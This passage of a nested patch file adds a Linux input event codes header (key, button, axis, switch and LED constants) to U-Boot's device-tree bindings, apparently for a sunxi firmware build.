+-#define BTN_DPAD_DOWN		0x221
+-#define BTN_DPAD_LEFT		0x222
+-#define BTN_DPAD_RIGHT		0x223
++#include "linux-event-codes.h"
+ 
+ #define MATRIX_KEY(row, col, code)	\
+ 	((((row) & 0xFF) << 24) | (((col) & 0xFF) << 16) | ((code) & 0xFFFF))
+--- /dev/null
++++ b/include/dt-bindings/input/linux-event-codes.h
+@@ -0,0 +1,805 @@
++/*
++ * Input event codes
++ *
++ *    *** IMPORTANT ***
++ * This file is not only included from C-code but also from devicetree source
++ * files. As such this file MUST only contain comments and defines.
++ *
++ * Copyright (c) 1999-2002 Vojtech Pavlik
++ * Copyright (c) 2015 Hans de Goede <hdegoede at redhat.com>
++ *
++ * This program is free software; you can redistribute it and/or modify it
++ * under the terms of the GNU General Public License version 2 as published by
++ * the Free Software Foundation.
++ */
++#ifndef _UAPI_INPUT_EVENT_CODES_H
++#define _UAPI_INPUT_EVENT_CODES_H
++
++/*
++ * Device properties and quirks
++ */
++
++#define INPUT_PROP_POINTER		0x00	/* needs a pointer */
++#define INPUT_PROP_DIRECT		0x01	/* direct input devices */
++#define INPUT_PROP_BUTTONPAD		0x02	/* has button(s) under pad */
++#define INPUT_PROP_SEMI_MT		0x03	/* touch rectangle only */
++#define INPUT_PROP_TOPBUTTONPAD		0x04	/* softbuttons at top of pad */
++#define INPUT_PROP_POINTING_STICK	0x05	/* is a pointing stick */
++#define INPUT_PROP_ACCELEROMETER	0x06	/* has accelerometer */
++
++#define INPUT_PROP_MAX			0x1f
++#define INPUT_PROP_CNT			(INPUT_PROP_MAX + 1)
++
++/*
++ * Event types
++ */
++
++#define EV_SYN			0x00
++#define EV_KEY			0x01
++#define EV_REL			0x02
++#define EV_ABS			0x03
++#define EV_MSC			0x04
++#define EV_SW			0x05
++#define EV_LED			0x11
++#define EV_SND			0x12
++#define EV_REP			0x14
++#define EV_FF			0x15
++#define EV_PWR			0x16
++#define EV_FF_STATUS		0x17
++#define EV_MAX			0x1f
++#define EV_CNT			(EV_MAX+1)
++
++/*
++ * Synchronization events.
++ */
++
++#define SYN_REPORT		0
++#define SYN_CONFIG		1
++#define SYN_MT_REPORT		2
++#define SYN_DROPPED		3
++#define SYN_MAX			0xf
++#define SYN_CNT			(SYN_MAX+1)
++
++/*
++ * Keys and buttons
++ *
++ * Most of the keys/buttons are modeled after USB HUT 1.12
++ * (see http://www.usb.org/developers/hidpage).
++ * Abbreviations in the comments:
++ * AC - Application Control
++ * AL - Application Launch Button
++ * SC - System Control
++ */
++
++#define KEY_RESERVED		0
++#define KEY_ESC			1
++#define KEY_1			2
++#define KEY_2			3
++#define KEY_3			4
++#define KEY_4			5
++#define KEY_5			6
++#define KEY_6			7
++#define KEY_7			8
++#define KEY_8			9
++#define KEY_9			10
++#define KEY_0			11
++#define KEY_MINUS		12
++#define KEY_EQUAL		13
++#define KEY_BACKSPACE		14
++#define KEY_TAB			15
++#define KEY_Q			16
++#define KEY_W			17
++#define KEY_E			18
++#define KEY_R			19
++#define KEY_T			20
++#define KEY_Y			21
++#define KEY_U			22
++#define KEY_I			23
++#define KEY_O			24
++#define KEY_P			25
++#define KEY_LEFTBRACE		26
++#define KEY_RIGHTBRACE		27
++#define KEY_ENTER		28
++#define KEY_LEFTCTRL		29
++#define KEY_A			30
++#define KEY_S			31
++#define KEY_D			32
++#define KEY_F			33
++#define KEY_G			34
++#define KEY_H			35
++#define KEY_J			36
++#define KEY_K			37
++#define KEY_L			38
++#define KEY_SEMICOLON		39
++#define KEY_APOSTROPHE		40
++#define KEY_GRAVE		41
++#define KEY_LEFTSHIFT		42
++#define KEY_BACKSLASH		43
++#define KEY_Z			44
++#define KEY_X			45
++#define KEY_C			46
++#define KEY_V			47
++#define KEY_B			48
++#define KEY_N			49
++#define KEY_M			50
++#define KEY_COMMA		51
++#define KEY_DOT			52
++#define KEY_SLASH		53
++#define KEY_RIGHTSHIFT		54
++#define KEY_KPASTERISK		55
++#define KEY_LEFTALT		56
++#define KEY_SPACE		57
++#define KEY_CAPSLOCK		58
++#define KEY_F1			59
++#define KEY_F2			60
++#define KEY_F3			61
++#define KEY_F4			62
++#define KEY_F5			63
++#define KEY_F6			64
++#define KEY_F7			65
++#define KEY_F8			66
++#define KEY_F9			67
++#define KEY_F10			68
++#define KEY_NUMLOCK		69
++#define KEY_SCROLLLOCK		70
++#define KEY_KP7			71
++#define KEY_KP8			72
++#define KEY_KP9			73
++#define KEY_KPMINUS		74
++#define KEY_KP4			75
++#define KEY_KP5			76
++#define KEY_KP6			77
++#define KEY_KPPLUS		78
++#define KEY_KP1			79
++#define KEY_KP2			80
++#define KEY_KP3			81
++#define KEY_KP0			82
++#define KEY_KPDOT		83
++
++#define KEY_ZENKAKUHANKAKU	85
++#define KEY_102ND		86
++#define KEY_F11			87
++#define KEY_F12			88
++#define KEY_RO			89
++#define KEY_KATAKANA		90
++#define KEY_HIRAGANA		91
++#define KEY_HENKAN		92
++#define KEY_KATAKANAHIRAGANA	93
++#define KEY_MUHENKAN		94
++#define KEY_KPJPCOMMA		95
++#define KEY_KPENTER		96
++#define KEY_RIGHTCTRL		97
++#define KEY_KPSLASH		98
++#define KEY_SYSRQ		99
++#define KEY_RIGHTALT		100
++#define KEY_LINEFEED		101
++#define KEY_HOME		102
++#define KEY_UP			103
++#define KEY_PAGEUP		104
++#define KEY_LEFT		105
++#define KEY_RIGHT		106
++#define KEY_END			107
++#define KEY_DOWN		108
++#define KEY_PAGEDOWN		109
++#define KEY_INSERT		110
++#define KEY_DELETE		111
++#define KEY_MACRO		112
++#define KEY_MUTE		113
++#define KEY_VOLUMEDOWN		114
++#define KEY_VOLUMEUP		115
++#define KEY_POWER		116	/* SC System Power Down */
++#define KEY_KPEQUAL		117
++#define KEY_KPPLUSMINUS		118
++#define KEY_PAUSE		119
++#define KEY_SCALE		120	/* AL Compiz Scale (Expose) */
++
++#define KEY_KPCOMMA		121
++#define KEY_HANGEUL		122
++#define KEY_HANGUEL		KEY_HANGEUL
++#define KEY_HANJA		123
++#define KEY_YEN			124
++#define KEY_LEFTMETA		125
++#define KEY_RIGHTMETA		126
++#define KEY_COMPOSE		127
++
++#define KEY_STOP		128	/* AC Stop */
++#define KEY_AGAIN		129
++#define KEY_PROPS		130	/* AC Properties */
++#define KEY_UNDO		131	/* AC Undo */
++#define KEY_FRONT		132
++#define KEY_COPY		133	/* AC Copy */
++#define KEY_OPEN		134	/* AC Open */
++#define KEY_PASTE		135	/* AC Paste */
++#define KEY_FIND		136	/* AC Search */
++#define KEY_CUT			137	/* AC Cut */
++#define KEY_HELP		138	/* AL Integrated Help Center */
++#define KEY_MENU		139	/* Menu (show menu) */
++#define KEY_CALC		140	/* AL Calculator */
++#define KEY_SETUP		141
++#define KEY_SLEEP		142	/* SC System Sleep */
++#define KEY_WAKEUP		143	/* System Wake Up */
++#define KEY_FILE		144	/* AL Local Machine Browser */
++#define KEY_SENDFILE		145
++#define KEY_DELETEFILE		146
++#define KEY_XFER		147
++#define KEY_PROG1		148
++#define KEY_PROG2		149
++#define KEY_WWW			150	/* AL Internet Browser */
++#define KEY_MSDOS		151
++#define KEY_COFFEE		152	/* AL Terminal Lock/Screensaver */
++#define KEY_SCREENLOCK		KEY_COFFEE
++#define KEY_ROTATE_DISPLAY	153	/* Display orientation for e.g. tablets */
++#define KEY_DIRECTION		KEY_ROTATE_DISPLAY
++#define KEY_CYCLEWINDOWS	154
++#define KEY_MAIL		155
++#define KEY_BOOKMARKS		156	/* AC Bookmarks */
++#define KEY_COMPUTER		157
++#define KEY_BACK		158	/* AC Back */
++#define KEY_FORWARD		159	/* AC Forward */
++#define KEY_CLOSECD		160
++#define KEY_EJECTCD		161
++#define KEY_EJECTCLOSECD	162
++#define KEY_NEXTSONG		163
++#define KEY_PLAYPAUSE		164
++#define KEY_PREVIOUSSONG	165
++#define KEY_STOPCD		166
++#define KEY_RECORD		167
++#define KEY_REWIND		168
++#define KEY_PHONE		169	/* Media Select Telephone */
++#define KEY_ISO			170
++#define KEY_CONFIG		171	/* AL Consumer Control Configuration */
++#define KEY_HOMEPAGE		172	/* AC Home */
++#define KEY_REFRESH		173	/* AC Refresh */
++#define KEY_EXIT		174	/* AC Exit */
++#define KEY_MOVE		175
++#define KEY_EDIT		176
++#define KEY_SCROLLUP		177
++#define KEY_SCROLLDOWN		178
++#define KEY_KPLEFTPAREN		179
++#define KEY_KPRIGHTPAREN	180
++#define KEY_NEW			181	/* AC New */
++#define KEY_REDO		182	/* AC Redo/Repeat */
++
++#define KEY_F13			183
++#define KEY_F14			184
++#define KEY_F15			185
++#define KEY_F16			186
++#define KEY_F17			187
++#define KEY_F18			188
++#define KEY_F19			189
++#define KEY_F20			190
++#define KEY_F21			191
++#define KEY_F22			192
++#define KEY_F23			193
++#define KEY_F24			194
++
++#define KEY_PLAYCD		200
++#define KEY_PAUSECD		201
++#define KEY_PROG3		202
++#define KEY_PROG4		203
++#define KEY_DASHBOARD		204	/* AL Dashboard */
++#define KEY_SUSPEND		205
++#define KEY_CLOSE		206	/* AC Close */
++#define KEY_PLAY		207
++#define KEY_FASTFORWARD		208
++#define KEY_BASSBOOST		209
++#define KEY_PRINT		210	/* AC Print */
++#define KEY_HP			211
++#define KEY_CAMERA		212
++#define KEY_SOUND		213
++#define KEY_QUESTION		214
++#define KEY_EMAIL		215
++#define KEY_CHAT		216
++#define KEY_SEARCH		217
++#define KEY_CONNECT		218
++#define KEY_FINANCE		219	/* AL Checkbook/Finance */
++#define KEY_SPORT		220
++#define KEY_SHOP		221
++#define KEY_ALTERASE		222
++#define KEY_CANCEL		223	/* AC Cancel */
++#define KEY_BRIGHTNESSDOWN	224
++#define KEY_BRIGHTNESSUP	225
++#define KEY_MEDIA		226
++
++#define KEY_SWITCHVIDEOMODE	227	/* Cycle between available video
++					   outputs (Monitor/LCD/TV-out/etc) */
++#define KEY_KBDILLUMTOGGLE	228
++#define KEY_KBDILLUMDOWN	229
++#define KEY_KBDILLUMUP		230
++
++#define KEY_SEND		231	/* AC Send */
++#define KEY_REPLY		232	/* AC Reply */
++#define KEY_FORWARDMAIL		233	/* AC Forward Msg */
++#define KEY_SAVE		234	/* AC Save */
++#define KEY_DOCUMENTS		235
++
++#define KEY_BATTERY		236
++
++#define KEY_BLUETOOTH		237
++#define KEY_WLAN		238
++#define KEY_UWB			239
++
++#define KEY_UNKNOWN		240
++
++#define KEY_VIDEO_NEXT		241	/* drive next video source */
++#define KEY_VIDEO_PREV		242	/* drive previous video source */
++#define KEY_BRIGHTNESS_CYCLE	243	/* brightness up, after max is min */
++#define KEY_BRIGHTNESS_AUTO	244	/* Set Auto Brightness: manual
++					  brightness control is off,
++					  rely on ambient */
++#define KEY_BRIGHTNESS_ZERO	KEY_BRIGHTNESS_AUTO
++#define KEY_DISPLAY_OFF		245	/* display device to off state */
++
++#define KEY_WWAN		246	/* Wireless WAN (LTE, UMTS, GSM, etc.) */
++#define KEY_WIMAX		KEY_WWAN
++#define KEY_RFKILL		247	/* Key that controls all radios */
++
++#define KEY_MICMUTE		248	/* Mute / unmute the microphone */
++
++/* Code 255 is reserved for special needs of AT keyboard driver */
++
++#define BTN_MISC		0x100
++#define BTN_0			0x100
++#define BTN_1			0x101
++#define BTN_2			0x102
++#define BTN_3			0x103
++#define BTN_4			0x104
++#define BTN_5			0x105
++#define BTN_6			0x106
++#define BTN_7			0x107
++#define BTN_8			0x108
++#define BTN_9			0x109
++
++#define BTN_MOUSE		0x110
++#define BTN_LEFT		0x110
++#define BTN_RIGHT		0x111
++#define BTN_MIDDLE		0x112
++#define BTN_SIDE		0x113
++#define BTN_EXTRA		0x114
++#define BTN_FORWARD		0x115
++#define BTN_BACK		0x116
++#define BTN_TASK		0x117
++
++#define BTN_JOYSTICK		0x120
++#define BTN_TRIGGER		0x120
++#define BTN_THUMB		0x121
++#define BTN_THUMB2		0x122
++#define BTN_TOP			0x123
++#define BTN_TOP2		0x124
++#define BTN_PINKIE		0x125
++#define BTN_BASE		0x126
++#define BTN_BASE2		0x127
++#define BTN_BASE3		0x128
++#define BTN_BASE4		0x129
++#define BTN_BASE5		0x12a
++#define BTN_BASE6		0x12b
++#define BTN_DEAD		0x12f
++
++#define BTN_GAMEPAD		0x130
++#define BTN_SOUTH		0x130
++#define BTN_A			BTN_SOUTH
++#define BTN_EAST		0x131
++#define BTN_B			BTN_EAST
++#define BTN_C			0x132
++#define BTN_NORTH		0x133
++#define BTN_X			BTN_NORTH
++#define BTN_WEST		0x134
++#define BTN_Y			BTN_WEST
++#define BTN_Z			0x135
++#define BTN_TL			0x136
++#define BTN_TR			0x137
++#define BTN_TL2			0x138
++#define BTN_TR2			0x139
++#define BTN_SELECT		0x13a
++#define BTN_START		0x13b
++#define BTN_MODE		0x13c
++#define BTN_THUMBL		0x13d
++#define BTN_THUMBR		0x13e
++
++#define BTN_DIGI		0x140
++#define BTN_TOOL_PEN		0x140
++#define BTN_TOOL_RUBBER		0x141
++#define BTN_TOOL_BRUSH		0x142
++#define BTN_TOOL_PENCIL		0x143
++#define BTN_TOOL_AIRBRUSH	0x144
++#define BTN_TOOL_FINGER		0x145
++#define BTN_TOOL_MOUSE		0x146
++#define BTN_TOOL_LENS		0x147
++#define BTN_TOOL_QUINTTAP	0x148	/* Five fingers on trackpad */
++#define BTN_TOUCH		0x14a
++#define BTN_STYLUS		0x14b
++#define BTN_STYLUS2		0x14c
++#define BTN_TOOL_DOUBLETAP	0x14d
++#define BTN_TOOL_TRIPLETAP	0x14e
++#define BTN_TOOL_QUADTAP	0x14f	/* Four fingers on trackpad */
++
++#define BTN_WHEEL		0x150
++#define BTN_GEAR_DOWN		0x150
++#define BTN_GEAR_UP		0x151
++
++#define KEY_OK			0x160
++#define KEY_SELECT		0x161
++#define KEY_GOTO		0x162
++#define KEY_CLEAR		0x163
++#define KEY_POWER2		0x164
++#define KEY_OPTION		0x165
++#define KEY_INFO		0x166	/* AL OEM Features/Tips/Tutorial */
++#define KEY_TIME		0x167
++#define KEY_VENDOR		0x168
++#define KEY_ARCHIVE		0x169
++#define KEY_PROGRAM		0x16a	/* Media Select Program Guide */
++#define KEY_CHANNEL		0x16b
++#define KEY_FAVORITES		0x16c
++#define KEY_EPG			0x16d
++#define KEY_PVR			0x16e	/* Media Select Home */
++#define KEY_MHP			0x16f
++#define KEY_LANGUAGE		0x170
++#define KEY_TITLE		0x171
++#define KEY_SUBTITLE		0x172
++#define KEY_ANGLE		0x173
++#define KEY_ZOOM		0x174
++#define KEY_MODE		0x175
++#define KEY_KEYBOARD		0x176
++#define KEY_SCREEN		0x177
++#define KEY_PC			0x178	/* Media Select Computer */
++#define KEY_TV			0x179	/* Media Select TV */
++#define KEY_TV2			0x17a	/* Media Select Cable */
++#define KEY_VCR			0x17b	/* Media Select VCR */
++#define KEY_VCR2		0x17c	/* VCR Plus */
++#define KEY_SAT			0x17d	/* Media Select Satellite */
++#define KEY_SAT2		0x17e
++#define KEY_CD			0x17f	/* Media Select CD */
++#define KEY_TAPE		0x180	/* Media Select Tape */
++#define KEY_RADIO		0x181
++#define KEY_TUNER		0x182	/* Media Select Tuner */
++#define KEY_PLAYER		0x183
++#define KEY_TEXT		0x184
++#define KEY_DVD			0x185	/* Media Select DVD */
++#define KEY_AUX			0x186
++#define KEY_MP3			0x187
++#define KEY_AUDIO		0x188	/* AL Audio Browser */
++#define KEY_VIDEO		0x189	/* AL Movie Browser */
++#define KEY_DIRECTORY		0x18a
++#define KEY_LIST		0x18b
++#define KEY_MEMO		0x18c	/* Media Select Messages */
++#define KEY_CALENDAR		0x18d
++#define KEY_RED			0x18e
++#define KEY_GREEN		0x18f
++#define KEY_YELLOW		0x190
++#define KEY_BLUE		0x191
++#define KEY_CHANNELUP		0x192	/* Channel Increment */
++#define KEY_CHANNELDOWN		0x193	/* Channel Decrement */
++#define KEY_FIRST		0x194
++#define KEY_LAST		0x195	/* Recall Last */
++#define KEY_AB			0x196
++#define KEY_NEXT		0x197
++#define KEY_RESTART		0x198
++#define KEY_SLOW		0x199
++#define KEY_SHUFFLE		0x19a
++#define KEY_BREAK		0x19b
++#define KEY_PREVIOUS		0x19c
++#define KEY_DIGITS		0x19d
++#define KEY_TEEN		0x19e
++#define KEY_TWEN		0x19f
++#define KEY_VIDEOPHONE		0x1a0	/* Media Select Video Phone */
++#define KEY_GAMES		0x1a1	/* Media Select Games */
++#define KEY_ZOOMIN		0x1a2	/* AC Zoom In */
++#define KEY_ZOOMOUT		0x1a3	/* AC Zoom Out */
++#define KEY_ZOOMRESET		0x1a4	/* AC Zoom */
++#define KEY_WORDPROCESSOR	0x1a5	/* AL Word Processor */
++#define KEY_EDITOR		0x1a6	/* AL Text Editor */
++#define KEY_SPREADSHEET		0x1a7	/* AL Spreadsheet */
++#define KEY_GRAPHICSEDITOR	0x1a8	/* AL Graphics Editor */
++#define KEY_PRESENTATION	0x1a9	/* AL Presentation App */
++#define KEY_DATABASE		0x1aa	/* AL Database App */
++#define KEY_NEWS		0x1ab	/* AL Newsreader */
++#define KEY_VOICEMAIL		0x1ac	/* AL Voicemail */
++#define KEY_ADDRESSBOOK		0x1ad	/* AL Contacts/Address Book */
++#define KEY_MESSENGER		0x1ae	/* AL Instant Messaging */
++#define KEY_DISPLAYTOGGLE	0x1af	/* Turn display (LCD) on and off */
++#define KEY_BRIGHTNESS_TOGGLE	KEY_DISPLAYTOGGLE
++#define KEY_SPELLCHECK		0x1b0   /* AL Spell Check */
++#define KEY_LOGOFF		0x1b1   /* AL Logoff */
++
++#define KEY_DOLLAR		0x1b2
++#define KEY_EURO		0x1b3
++
++#define KEY_FRAMEBACK		0x1b4	/* Consumer - transport controls */
++#define KEY_FRAMEFORWARD	0x1b5
++#define KEY_CONTEXT_MENU	0x1b6	/* GenDesc - system context menu */
++#define KEY_MEDIA_REPEAT	0x1b7	/* Consumer - transport control */
++#define KEY_10CHANNELSUP	0x1b8	/* 10 channels up (10+) */
++#define KEY_10CHANNELSDOWN	0x1b9	/* 10 channels down (10-) */
++#define KEY_IMAGES		0x1ba	/* AL Image Browser */
++
++#define KEY_DEL_EOL		0x1c0
++#define KEY_DEL_EOS		0x1c1
++#define KEY_INS_LINE		0x1c2
++#define KEY_DEL_LINE		0x1c3
++
++#define KEY_FN			0x1d0
++#define KEY_FN_ESC		0x1d1
++#define KEY_FN_F1		0x1d2
++#define KEY_FN_F2		0x1d3
++#define KEY_FN_F3		0x1d4
++#define KEY_FN_F4		0x1d5
++#define KEY_FN_F5		0x1d6
++#define KEY_FN_F6		0x1d7
++#define KEY_FN_F7		0x1d8
++#define KEY_FN_F8		0x1d9
++#define KEY_FN_F9		0x1da
++#define KEY_FN_F10		0x1db
++#define KEY_FN_F11		0x1dc
++#define KEY_FN_F12		0x1dd
++#define KEY_FN_1		0x1de
++#define KEY_FN_2		0x1df
++#define KEY_FN_D		0x1e0
++#define KEY_FN_E		0x1e1
++#define KEY_FN_F		0x1e2
++#define KEY_FN_S		0x1e3
++#define KEY_FN_B		0x1e4
++
++#define KEY_BRL_DOT1		0x1f1
++#define KEY_BRL_DOT2		0x1f2
++#define KEY_BRL_DOT3		0x1f3
++#define KEY_BRL_DOT4		0x1f4
++#define KEY_BRL_DOT5		0x1f5
++#define KEY_BRL_DOT6		0x1f6
++#define KEY_BRL_DOT7		0x1f7
++#define KEY_BRL_DOT8		0x1f8
++#define KEY_BRL_DOT9		0x1f9
++#define KEY_BRL_DOT10		0x1fa
++
++#define KEY_NUMERIC_0		0x200	/* used by phones, remote controls, */
++#define KEY_NUMERIC_1		0x201	/* and other keypads */
++#define KEY_NUMERIC_2		0x202
++#define KEY_NUMERIC_3		0x203
++#define KEY_NUMERIC_4		0x204
++#define KEY_NUMERIC_5		0x205
++#define KEY_NUMERIC_6		0x206
++#define KEY_NUMERIC_7		0x207
++#define KEY_NUMERIC_8		0x208
++#define KEY_NUMERIC_9		0x209
++#define KEY_NUMERIC_STAR	0x20a
++#define KEY_NUMERIC_POUND	0x20b
++#define KEY_NUMERIC_A		0x20c	/* Phone key A - HUT Telephony 0xb9 */
++#define KEY_NUMERIC_B		0x20d
++#define KEY_NUMERIC_C		0x20e
++#define KEY_NUMERIC_D		0x20f
++
++#define KEY_CAMERA_FOCUS	0x210
++#define KEY_WPS_BUTTON		0x211	/* WiFi Protected Setup key */
++
++#define KEY_TOUCHPAD_TOGGLE	0x212	/* Request switch touchpad on or off */
++#define KEY_TOUCHPAD_ON		0x213
++#define KEY_TOUCHPAD_OFF	0x214
++
++#define KEY_CAMERA_ZOOMIN	0x215
++#define KEY_CAMERA_ZOOMOUT	0x216
++#define KEY_CAMERA_UP		0x217
++#define KEY_CAMERA_DOWN		0x218
++#define KEY_CAMERA_LEFT		0x219
++#define KEY_CAMERA_RIGHT	0x21a
++
++#define KEY_ATTENDANT_ON	0x21b
++#define KEY_ATTENDANT_OFF	0x21c
++#define KEY_ATTENDANT_TOGGLE	0x21d	/* Attendant call on or off */
++#define KEY_LIGHTS_TOGGLE	0x21e	/* Reading light on or off */
++
++#define BTN_DPAD_UP		0x220
++#define BTN_DPAD_DOWN		0x221
++#define BTN_DPAD_LEFT		0x222
++#define BTN_DPAD_RIGHT		0x223
++
++#define KEY_ALS_TOGGLE		0x230	/* Ambient light sensor */
++
++#define KEY_BUTTONCONFIG		0x240	/* AL Button Configuration */
++#define KEY_TASKMANAGER		0x241	/* AL Task/Project Manager */
++#define KEY_JOURNAL		0x242	/* AL Log/Journal/Timecard */
++#define KEY_CONTROLPANEL		0x243	/* AL Control Panel */
++#define KEY_APPSELECT		0x244	/* AL Select Task/Application */
++#define KEY_SCREENSAVER		0x245	/* AL Screen Saver */
++#define KEY_VOICECOMMAND		0x246	/* Listening Voice Command */
++
++#define KEY_BRIGHTNESS_MIN		0x250	/* Set Brightness to Minimum */
++#define KEY_BRIGHTNESS_MAX		0x251	/* Set Brightness to Maximum */
++
++#define KEY_KBDINPUTASSIST_PREV		0x260
++#define KEY_KBDINPUTASSIST_NEXT		0x261
++#define KEY_KBDINPUTASSIST_PREVGROUP		0x262
++#define KEY_KBDINPUTASSIST_NEXTGROUP		0x263
++#define KEY_KBDINPUTASSIST_ACCEPT		0x264
++#define KEY_KBDINPUTASSIST_CANCEL		0x265
++
++#define BTN_TRIGGER_HAPPY		0x2c0
++#define BTN_TRIGGER_HAPPY1		0x2c0
++#define BTN_TRIGGER_HAPPY2		0x2c1
++#define BTN_TRIGGER_HAPPY3		0x2c2
++#define BTN_TRIGGER_HAPPY4		0x2c3
++#define BTN_TRIGGER_HAPPY5		0x2c4
++#define BTN_TRIGGER_HAPPY6		0x2c5
++#define BTN_TRIGGER_HAPPY7		0x2c6
++#define BTN_TRIGGER_HAPPY8		0x2c7
++#define BTN_TRIGGER_HAPPY9		0x2c8
++#define BTN_TRIGGER_HAPPY10		0x2c9
++#define BTN_TRIGGER_HAPPY11		0x2ca
++#define BTN_TRIGGER_HAPPY12		0x2cb
++#define BTN_TRIGGER_HAPPY13		0x2cc
++#define BTN_TRIGGER_HAPPY14		0x2cd
++#define BTN_TRIGGER_HAPPY15		0x2ce
++#define BTN_TRIGGER_HAPPY16		0x2cf
++#define BTN_TRIGGER_HAPPY17		0x2d0
++#define BTN_TRIGGER_HAPPY18		0x2d1
++#define BTN_TRIGGER_HAPPY19		0x2d2
++#define BTN_TRIGGER_HAPPY20		0x2d3
++#define BTN_TRIGGER_HAPPY21		0x2d4
++#define BTN_TRIGGER_HAPPY22		0x2d5
++#define BTN_TRIGGER_HAPPY23		0x2d6
++#define BTN_TRIGGER_HAPPY24		0x2d7
++#define BTN_TRIGGER_HAPPY25		0x2d8
++#define BTN_TRIGGER_HAPPY26		0x2d9
++#define BTN_TRIGGER_HAPPY27		0x2da
++#define BTN_TRIGGER_HAPPY28		0x2db
++#define BTN_TRIGGER_HAPPY29		0x2dc
++#define BTN_TRIGGER_HAPPY30		0x2dd
++#define BTN_TRIGGER_HAPPY31		0x2de
++#define BTN_TRIGGER_HAPPY32		0x2df
++#define BTN_TRIGGER_HAPPY33		0x2e0
++#define BTN_TRIGGER_HAPPY34		0x2e1
++#define BTN_TRIGGER_HAPPY35		0x2e2
++#define BTN_TRIGGER_HAPPY36		0x2e3
++#define BTN_TRIGGER_HAPPY37		0x2e4
++#define BTN_TRIGGER_HAPPY38		0x2e5
++#define BTN_TRIGGER_HAPPY39		0x2e6
++#define BTN_TRIGGER_HAPPY40		0x2e7
++
++/* We avoid low common keys in module aliases so they don't get huge. */
++#define KEY_MIN_INTERESTING	KEY_MUTE
++#define KEY_MAX			0x2ff
++#define KEY_CNT			(KEY_MAX+1)
++
++/*
++ * Relative axes
++ */
++
++#define REL_X			0x00
++#define REL_Y			0x01
++#define REL_Z			0x02
++#define REL_RX			0x03
++#define REL_RY			0x04
++#define REL_RZ			0x05
++#define REL_HWHEEL		0x06
++#define REL_DIAL		0x07
++#define REL_WHEEL		0x08
++#define REL_MISC		0x09
++#define REL_MAX			0x0f
++#define REL_CNT			(REL_MAX+1)
++
++/*
++ * Absolute axes
++ */
++
++#define ABS_X			0x00
++#define ABS_Y			0x01
++#define ABS_Z			0x02
++#define ABS_RX			0x03
++#define ABS_RY			0x04
++#define ABS_RZ			0x05
++#define ABS_THROTTLE		0x06
++#define ABS_RUDDER		0x07
++#define ABS_WHEEL		0x08
++#define ABS_GAS			0x09
++#define ABS_BRAKE		0x0a
++#define ABS_HAT0X		0x10
++#define ABS_HAT0Y		0x11
++#define ABS_HAT1X		0x12
++#define ABS_HAT1Y		0x13
++#define ABS_HAT2X		0x14
++#define ABS_HAT2Y		0x15
++#define ABS_HAT3X		0x16
++#define ABS_HAT3Y		0x17
++#define ABS_PRESSURE		0x18
++#define ABS_DISTANCE		0x19
++#define ABS_TILT_X		0x1a
++#define ABS_TILT_Y		0x1b
++#define ABS_TOOL_WIDTH		0x1c
++
++#define ABS_VOLUME		0x20
++
++#define ABS_MISC		0x28
++
++#define ABS_MT_SLOT		0x2f	/* MT slot being modified */
++#define ABS_MT_TOUCH_MAJOR	0x30	/* Major axis of touching ellipse */
++#define ABS_MT_TOUCH_MINOR	0x31	/* Minor axis (omit if circular) */
++#define ABS_MT_WIDTH_MAJOR	0x32	/* Major axis of approaching ellipse */
++#define ABS_MT_WIDTH_MINOR	0x33	/* Minor axis (omit if circular) */
++#define ABS_MT_ORIENTATION	0x34	/* Ellipse orientation */
++#define ABS_MT_POSITION_X	0x35	/* Center X touch position */
++#define ABS_MT_POSITION_Y	0x36	/* Center Y touch position */
++#define ABS_MT_TOOL_TYPE	0x37	/* Type of touching device */
++#define ABS_MT_BLOB_ID		0x38	/* Group a set of packets as a blob */
++#define ABS_MT_TRACKING_ID	0x39	/* Unique ID of initiated contact */
++#define ABS_MT_PRESSURE		0x3a	/* Pressure on contact area */
++#define ABS_MT_DISTANCE		0x3b	/* Contact hover distance */
++#define ABS_MT_TOOL_X		0x3c	/* Center X tool position */
++#define ABS_MT_TOOL_Y		0x3d	/* Center Y tool position */
++
++
++#define ABS_MAX			0x3f
++#define ABS_CNT			(ABS_MAX+1)
++
++/*
++ * Switch events
++ */
++
++#define SW_LID			0x00  /* set = lid shut */
++#define SW_TABLET_MODE		0x01  /* set = tablet mode */
++#define SW_HEADPHONE_INSERT	0x02  /* set = inserted */
++#define SW_RFKILL_ALL		0x03  /* rfkill master switch, type "any"
++					 set = radio enabled */
++#define SW_RADIO		SW_RFKILL_ALL	/* deprecated */
++#define SW_MICROPHONE_INSERT	0x04  /* set = inserted */
++#define SW_DOCK			0x05  /* set = plugged into dock */
++#define SW_LINEOUT_INSERT	0x06  /* set = inserted */
++#define SW_JACK_PHYSICAL_INSERT 0x07  /* set = mechanical switch set */
++#define SW_VIDEOOUT_INSERT	0x08  /* set = inserted */
++#define SW_CAMERA_LENS_COVER	0x09  /* set = lens covered */
++#define SW_KEYPAD_SLIDE		0x0a  /* set = keypad slide out */
++#define SW_FRONT_PROXIMITY	0x0b  /* set = front proximity sensor active */
++#define SW_ROTATE_LOCK		0x0c  /* set = rotate locked/disabled */
++#define SW_LINEIN_INSERT	0x0d  /* set = inserted */
++#define SW_MUTE_DEVICE		0x0e  /* set = device disabled */
++#define SW_MAX			0x0f
++#define SW_CNT			(SW_MAX+1)
++
++/*
++ * Misc events
++ */
++
++#define MSC_SERIAL		0x00
++#define MSC_PULSELED		0x01
++#define MSC_GESTURE		0x02
++#define MSC_RAW			0x03
++#define MSC_SCAN		0x04
++#define MSC_TIMESTAMP		0x05
++#define MSC_MAX			0x07
++#define MSC_CNT			(MSC_MAX+1)
++
++/*
++ * LEDs
++ */
++
++#define LED_NUML		0x00
++#define LED_CAPSL		0x01
++#define LED_SCROLLL		0x02
++#define LED_COMPOSE		0x03
++#define LED_KANA		0x04
++#define LED_SLEEP		0x05
++#define LED_SUSPEND		0x06
++#define LED_MUTE		0x07
++#define LED_MISC		0x08
++#define LED_MAIL		0x09
++#define LED_CHARGING		0x0a
++#define LED_MAX			0x0f
++#define LED_CNT			(LED_MAX+1)
++
++/*
++ * Autorepeat values
++ */
++
++#define REP_DELAY		0x00
++#define REP_PERIOD		0x01
++#define REP_MAX			0x01
++#define REP_CNT			(REP_MAX+1)
++
++/*
++ * Sounds
++ */
++
++#define SND_CLICK		0x00
++#define SND_BELL		0x01
++#define SND_TONE		0x02
++#define SND_MAX			0x07
++#define SND_CNT			(SND_MAX+1)
++
++#endif
diff --git a/target/linux/sunxi/image/uboot/patches/011-dt-sync-dts-files-with-kernel.patch b/target/linux/sunxi/image/uboot/patches/011-dt-sync-dts-files-with-kernel.patch
new file mode 100644
index 0000000..e36f9e3
--- /dev/null
